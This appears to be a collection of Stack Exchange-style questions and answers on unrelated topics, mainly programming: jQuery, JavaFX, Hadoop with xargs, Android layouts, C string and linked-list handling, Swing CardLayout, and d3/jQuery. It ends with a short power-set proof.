I solved the problem change type 'set' to 'get'


text:
Q: jQuery custom scrollbar script not working This is my first post and I hope someone here can help.
I have tried 3 different sites on how to customize my scrollbar, and all was quite similar. But none of them seemed to customize the scrollbar...
The problem is this script:
$(window).load(function () {
    $(".demo").customScrollbar();
});

I get the message "Uncaught TypeError: undefined is not a function"
The problem appears with both perfect-scroll, jscrollpane and jQuery custom scrollbar by Rocketmind. There was a fourth place but i forgot.
All of these places require a script similar to above, and I've tried them all... Hope anyone can give me a solution for the problem.
I've made a version of JQuery custom scrollbar by Rocketmind here and you will also find link to original in the jsfiddle version...
Please help.. I'm desperate :(

A: Hmm why on load?
try:
$( document ).ready(function() {
     $(".demo").customScrollbar();
});

it will run the script when the dom is ready


text:
Q: lists don't clear for some reason even though it's written correctly //clearing lists
function resetLists() {
 var finalColor = [];
 var finalDiet = [];
 var finalConservationStatues = [];
 var finalScientificName = [];
 var finalName = [];
}

this should be clearing/resetting the lists but it doesn't when called on in the program.I have tried calling the function in different parts of the program  but it still doesn't work

A: If those variables are global, the following should work:
//clearing lists
function resetLists() {
 finalColor = [];
 finalDiet = [];
 finalConservationStatues = [];
 finalScientificName = [];
 finalName = [];
}

However, you can first test if the function can even "see" the variables you want to clear by adding a quick debug statement:
//clearing lists
function resetLists() {
 console.log("DEBUG: Can I see the following?");
 console.log(finalColor);

 finalColor = [];
 finalDiet = [];
 finalConservationStatues = [];
 finalScientificName = [];
 finalName = [];
}


text:
Q: OpenGl ES 1.1 Screen Coordinates from Vertex Coordinates I'm working on a select function in a program that will select the vertex closest to a specific touch point (iPhone development). My idea for finding this point is to find the screen coordinates of all the significant vertices, find the screen vertex that gives the minimum distance between the touch point and that vertex, and then use the relationship to get the object vertex and the object coordinates.
So my question is, how would I find the screen coordinates of the vertex? I'm using VBOs.

A: Just apply your GL_PROJECTION and GL_MODELVIEW matrices to your vertexes.

A: Since gluProject is unavailable in OpenGL-ES, you will have to perform the projection yourself.
This post might be helpfull, even though it deals with the gl-implementation on the NDS. The accepted answer however is valid for the general case.


text:
Q: How to fit fxml file to ChildAnchorPane ? I'm working on my project which is having two fxml files, i managed to open both fxml files from MainController in both ways like

Both the actions performed by clicking on Button

*

*creating and opening new stage,scene and loading fxml file.

*replacing child AnchorPane with fxml.

Problem is in second way: fxml file won't fit according to the child Anchor Pane which I've already defined in my Main FXML file with coordinates , its appears on top left corner of the primaryStage and is there any way i can fix this problem ?
Please follow the screen shot which explains the GUI view of my application.

MainController.java

@FXML
private Button okay;
@FXML
private AnchorPane HostScreen,MainScreen;
class NewStage{
    NewStage() throws IOException{
        Stage subStage = new Stage();
        subStage.setTitle("Connect To MySQL Host");
        HostScreen = (AnchorPane)FXMLLoader.load(getClass().getResource("SQLHostWindow.fxml"));
        Scene HostScene = new Scene(HostScreen,640,400);
        subStage.setScene(HostScene);
        subStage.centerOnScreen();
        subStage.show();
    }
}
class NewScene{
    NewScene() throws IOException{
        HostScreen = (AnchorPane)FXMLLoader.load(getClass().getResource("SQLHostWindow.fxml"));
        MainScreen.getChildren().set(0, HostScreen);
        System.out.println(MainScreen.getChildren().get(0));
    }
}

@FXML
public void OpenHostScreen(ActionEvent event) throws IOException{

    new NewStage();
    new NewScene();

}

A: First of all it's absolute nonsense to use constructors of inner classes to modify the scene, unless those classes have some other functionality. In this case you just create objects for no real reason. Instead the functionality should be moved to methods, e.g.
void replaceChild() throws IOException{
    HostScreen = (AnchorPane)FXMLLoader.load(getClass().getResource("SQLHostWindow.fxml"));
    MainScreen.getChildren().set(0, HostScreen);
    System.out.println(MainScreen.getChildren().get(0));
}

@FXML
public void OpenHostScreen(ActionEvent event) throws IOException{
    replaceChild();
}

Furthermore you cannot expect the layout parameters of the original node to simply be transfered to the replacement node just because you replace the node. Panes often store layout properties inside the properties map of the child node. The contents of this map are not automatically copied.
Also there are some properties of the child Node that could be relevant for the parent depending on it's type and the parameters stored in the properties:

*

*layoutX, layoutY (in case they are not determined by the parent)

*managed

*Translate, Rotate, Scale

*size

*...

In this case you most likely only need to copy the anchors, size and position, which can be done by copying the properties and assigning layoutX, layoutY, prefWidth and prefHeight.
Example
@Override
public void start(Stage primaryStage) {
    Region back = new Region();
    back.relocate(10, 10);
    back.setPrefSize(590, 390);
    back.setStyle("-fx-background-color: blue;");

    AnchorPane.setBottomAnchor(back, 10d);
    // AnchorPane.setTopAnchor(back, 10d);
    AnchorPane.setLeftAnchor(back, 10d);
    AnchorPane.setRightAnchor(back, 10d);

    Button btn = new Button("Change");

    AnchorPane root = new AnchorPane(back, btn);

    btn.setOnAction((ActionEvent event) -> {
        // replace first child of root with new one; keep anchors & position/size
        Region region = new Region();
        region.setStyle("-fx-background-color: red;");
        Node oldRegion = root.getChildren().set(0, region);

        // copy properties from old map
        Map<Object, Object> properties = region.getProperties();
        oldRegion.getProperties().forEach((k, v) -> properties.putIfAbsent(k, v));

        // copy position & set pref size to size of replaced node
        region.relocate(oldRegion.getLayoutX(), oldRegion.getLayoutX());
        Bounds bounds = oldRegion.getLayoutBounds();
        region.setPrefSize(bounds.getWidth(), bounds.getHeight());
    });

    Scene scene = new Scene(root, 600, 400);

    primaryStage.setScene(scene);
    primaryStage.show();
}


text:
Q: Xargs command not supports hadoop put command with multiple input files hadoop supports copying multiple local file to hdfs with below command
hadoop fs -put localfile1 localfile2 /user/hadoop/hdfsdir

We need to copy hundreds of thousands of files, due to memory issues, we want to copy in chuncks using xargs.
But below command give error.
echo "localfile1 localfile2" |xargs  -t -I {} hadoop fs -put {} /user/hadoop/hdfsdir

It gives put: unexpected URISyntaxException error.
Here localfile1 and localfile2 are files in my present working directory.
Single file command is working i.e.
echo "localfile1" |xargs  -t -I {} hadoop fs -put {} /user/hadoop/hdfsdir

A: Probably too late, but I came across your question when I tried to do the same thing.
I followed this tutorial and wrote the following command to upload all texttiles 4 at a time:
find . -name '*.textile' -print0 |xargs  -0 -P 4 -I % hadoop fs -put % /user/myName/

*

*-print0: to do a null separated token-list

*-0: so xarg can recognize the null separator

*-n: so that several puts are run in parallel

*-I: so that each token is included into the hadoop fs -put TOKEN_GOES_HERE

I don't think this approach respects folder structures, meaning the folder structure from your local system is not preserved on the cluster.  Also, if you happen to have the file-names in multiple-folders you'll get file already exists.


text:
Q: Android : Button and left border in Radio Button
Is there any way to give Space between radio Circle and left border. I'm tried to give margin but it's not working ,I also try to give padding but it increase space between text and button.
Radio xml Code:
<LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

        <RadioGroup
            android:id="@+id/radioGroup1"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:orientation="horizontal">

            <RadioButton
                android:id="@+id/chkIos"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:layout_marginStart="@dimen/_12sdp"
                android:layout_marginLeft="@dimen/_12sdp"
                android:layout_marginEnd="@dimen/_5sdp"
                android:layout_marginRight="@dimen/_5sdp"
                android:layout_weight="1"
                android:background="@drawable/option_layout"
                android:button="@drawable/custom_checkbox"
                android:gravity="center"
                android:padding="@dimen/_12sdp"
                android:text="1211asd3"
                android:textColor="@color/black" />

            <RadioButton
                android:id="@+id/radio1"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:background="@drawable/option_layout"
                android:button="@drawable/custom_checkbox"
                android:layout_marginStart="@dimen/_42sdp"
                android:padding="@dimen/_12sdp"
                android:text="RadioButton2"
                android:layout_marginLeft="@dimen/_42sdp" />

            <!--<TextView-->
            <!--android:layout_weight="1"-->
            <!--android:layout_width="match_parent"-->
            <!--android:layout_height="wrap_content" />-->
        </RadioGroup>
    </LinearLayout>

Does anyone know how it can be Done?

A: Instead of pasting your images directly to drawable folders, Try importing them from
File -> new -> Image Asset

It will show you following dialog where you need to select Icon type as Actionbar and Tab Icons and add padding using the padding control. Default icons have some padding in them try adding atleast 5% padding and change value if you need more space


text:
Q: Determining if *char < INT_MAX I got this code:
char a[151];
scanf ("%150s", a);

In a could be a number and if so, I need to determine, if a < INT_MAX. I don't know, how to do that, because in each index of a char could be a number, it means 150-digit number which could cause overflow if I store a value into some int or anything else. Any suggestions?

A: Call strtol() and test errno.

If the correct value is outside the range of representable values, LONG_MIN, LONG_MAX, ...  the value of the macro ERANGE is stored in errno.  C11dr §7.22.1.4 8

char a[151];
scanf ("%150s", a);
char *endptr;
errno = 0;
long num = strtol(a, &endptr, 10);
if (errno == ERANGE) Overflow();  // outside `long` range
if (num > INT_MAX) Overflow();    // greater than `INT_MAX`

A: One way to solve:
1. INT_MAX = 2147483647 --> contains 10 digits
2. len = strlen(a);
3. if (len > 10)
   a. true --> then a > INT_MAX --> print answer and return
   b. false, go to step 4
4. if (len < 10)
   a. true --> then a < INT_MAX --> print answer and return
   b. false, go to step 5
5. (len == 10) case
6. if (a[9]-'0' > 2) // 10th digit is > 2
   a. true --> then a > INT_MAX --> print answer and return
   b. false, go to step 7
7. int num = atoi(a);
9. Compare num and INT_MAX and print answer and return

[NOTE: Negative numbers not considered here]


text:
Q: How do I open Apple Maps App I have a button. When touch up inside it should open Apple Maps for users to navigate to their destination (passed lat long).
The code posted several months ago no longer seems to be valid:
var mapLocationUrl = 'maps.apple.com/?ll=51.84,-8.30';
var ref = window.open(encodeURI(mapLocationUrl), '_system', 'location=no');

Open Apple Maps by passing latitude and longitude

A: The current technique is to make an MKMapItem and call openInMapsWithLaunchOptions. The MKMapItem can be made from an MKPlacemark describing the location to be shown.


text:
Q: My if statement is doing the opposite of what I want it to do I have a program that asks the user to input a word, and each word they enter is added to a linked list. When the user enters "END" the program is supposed to list all the nodes.
My problem is that the program only adds the word "END" into the list, and when the user enters anything else, the else condition is triggered: all the items in the list are printed out, but all these words are just "END".
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct node {
  char word[32];
  struct node *next;
};

int main() {
  struct node *head = NULL, *cur = NULL;
  char input[32];

  while(1) {
    cur = malloc(sizeof(struct node));

    printf("Enter words: ");
    scanf("%s", input);

    if (strcmp(input, "END") == 0) {
      cur->next = head;
      strcpy(cur->word, input);
      head = cur;
    } else {
      struct node *iter = head;

      while (iter != NULL) {
        printf("Contents: %s\n", iter->word);
        iter = iter->next;
      }
    }
  }
}

By making the if statement check if the condition == 1 it just makes the user just keep entering words, regardless what the user inputs, such as"END".
Any help would be much appreciated.

A: The condition in the if statement
if (strcmp(input, "END") == 0)

means that the string stored in the array input is equal to the string literal "END".  So if the array contains the string "END" you are inserting a new node in the list.
Also you have to allocate memory for a new node after this check not before it. Otherwise there will be memory leaks.
Pay attention to that you have an infinite loop.
And you need to free all allocated memory.
It seems you mean something like the following
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

#define N   32

struct node
{
    char word[N];
    struct node *next;
};

int main(void)
{
    struct node *head = NULL;
    char input[N];

    printf( "Enter words: " );

    while ( scanf( "%31s", input ) == 1 )
    {
        char tmp[N];

        size_t i = 0;

        while ( ( tmp[i] = toupper( ( unsigned char )input[i] ) ) != '\0' ) ++i;

        if ( strcmp( tmp, "END" )  == 0 ) break;

        struct node *current = malloc( sizeof( struct node ) );
        strcpy( current->word, input );
        current->next = head;
        head = current;
    }

    for ( struct node *current = head; current != NULL; current = current->next )
    {
        printf( "%s -> ", current->word );
    }

    puts( "NULL" );

    while ( head != NULL )
    {
        struct node *current = head;
        head = head->next;
        free( current );
    }

    return 0;
}

The program output will look like
Enter words: Jackson Jake Hello end
Hello -> Jake -> Jackson -> NULL

A: First, you need to add strings to list until input string is END by using strcmp() != 0 when comparison is non-zero.
Second, the current cur node is created which contains new string add need to have a tail pointer for new strings to get added like shown below using next node. Also for the node you need to make sure head is always at beginning of the list.
Third, you need to break when list is printed successfully else you end up a while(1) loop forever.
int main() {
  struct node *head = NULL, *next = NULL, *cur = NULL;
  char input[32];

  while(1) {
    printf("Enter words: ");
    scanf("%s", input);

    if (strcmp(input, "END") != 0) {
      cur = malloc(sizeof(struct node));
      cur->next = NULL;
      strcpy(cur->word, input);
      if (head == NULL) {
        head = cur;
        next = head;
      }
      next->next = cur;
    } else {
      struct node *iter = head;
      while (iter != NULL) {
        printf("Contents: %s\n", iter->word);
        iter = iter->next;
      }
      break;
    }
 }


text:
Q: seek to code properly I a GUI which contains two JTextField and one JComboBox, based on the content of the JComboBox, I will show another JPanel that contains a set of components.
so I proceeded as follows (it worked) but I want to know if I coded properly.
I created a class that filled HashMap (String, JPanel) .... the string is the content of my JComboBox
public class MapGui {

    /**
     * Create the panel.
     */
    HashMap<String, JPanel> map;

    public MapGui() {
        map.put("1", new location());
        map.put("2", new vente());
        .......
    }

and every time I call the method:
public JPanel getPanel(String s) {
return map.get(s);

}

and new location () and new vente () and ..... are classes that inherit from JPanel and contain all components.
Thank you in advance

A: Don't use a map for that purpose. What you described is the behavior of a Card Layout. Basically, you create a "Deck" panel that uses the aforementioned layout manager, add the cards (JPanel) you want (in your case location and vente) to the deck panel, and lastly add the deck panel to the frame.
To mechanize the hiding and showing of panels, simply use listeners. The link I provided shows EXACTLY what you need to do to implement what you are asking.


text:
Q: Get the closest element to a SVG node using Jquery closest() function I have the following code:
 $(document).ready(function () {

    var svg = d3.select("svg");

    svg.append("circle")
            .attr("class","cursor")
            .attr("r", 8)
            .attr("cx", 100)
            .attr("cy", 100)
            .on("click", test);

    function test(d)
    {
        f = d3.select(this);

        console.log($(f).closest('svg').css('border-color','red'));

    }

});

I noticed that it doesn't work. But if I execute the same function on a non SVG element (regular html element like div or canvas...) it does what it is supposed to do.
I first thought that the problem was the d3 selection. I then parsed the element directly with the class attribute like:
console.log($('.cursor').closest('svg').css('border-color','red'));

Without success.
Is there a way to make the jquery closest() function work with element inside SVG tag ?
Thank you

A: Wrapping a d3 selection in $ is invalid. Use $(this) instead of $(f). The this keyword in the click handler is set to the clicked DOM element, which is what you need.


text:
Q: Prove that if $A\subset B$ then $P(A)\subset P(B)$. $A$ and $B$ being sets and $P(A)$ being the power set of $A$:
Prove that if $A\subset B$ then $P(A)\subset P(B)$.
It seems oblivious but I'm not sure how to write the proof properly.

A: Suppose (fill in details and watch carefully at the symbols)
$$X\in P(A)\implies X\subset A\subset B\implies X\subset B\implies X\in P(B)$$

A: Let $C\subset A$. Then since $A\subset B,$ we have $C\subset B$.